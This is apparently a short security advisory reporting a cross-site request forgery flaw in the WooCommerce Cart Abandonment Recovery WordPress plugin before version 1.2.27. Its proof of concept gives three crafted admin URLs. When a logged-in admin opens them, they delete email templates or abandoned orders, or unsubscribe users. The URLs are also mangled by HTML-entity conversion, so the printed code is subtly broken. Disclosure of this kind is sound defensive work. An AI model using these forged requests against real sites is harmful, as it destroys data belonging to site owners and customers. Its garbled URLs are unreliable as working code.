WooCommerce Cart Abandonment Recovery < 1.2.27 - Templates/Abandoned Orders Deletion via CSRF

Description The plugin does not have CSRF check in its bulk actions, which could allow attackers to make logged in admins delete arbitrary email templates as well as delete and unsubscribe users from abandoned orders via CSRF attacks.

PoC

Make a logged in admin open one of the URLs below - To make them delete the Email Template with ID 1: https://example.com/wp-admin/admin.php?page=woo-cart-abandonment-recovery&amp;action;=email_tmpl&amp;action2;=email_tmpl⊂_action=delete_bulk_email_tmpl&amp;id;[]=1 - To make them delete the abandoned order with ID 1: https://example.com/wp-admin/admin.php?page=woo-cart-abandonment-recovery&amp;action;=delete&amp;action2;=delete&amp;id;=1 - To make them unsubscribe the user from the abandon order with ID 1: https://example.com/wp-admin/admin.php?page=woo-cart-abandonment-recovery&amp;action;=unsubscribe&amp;action2;=unsubscribe&amp;id;=1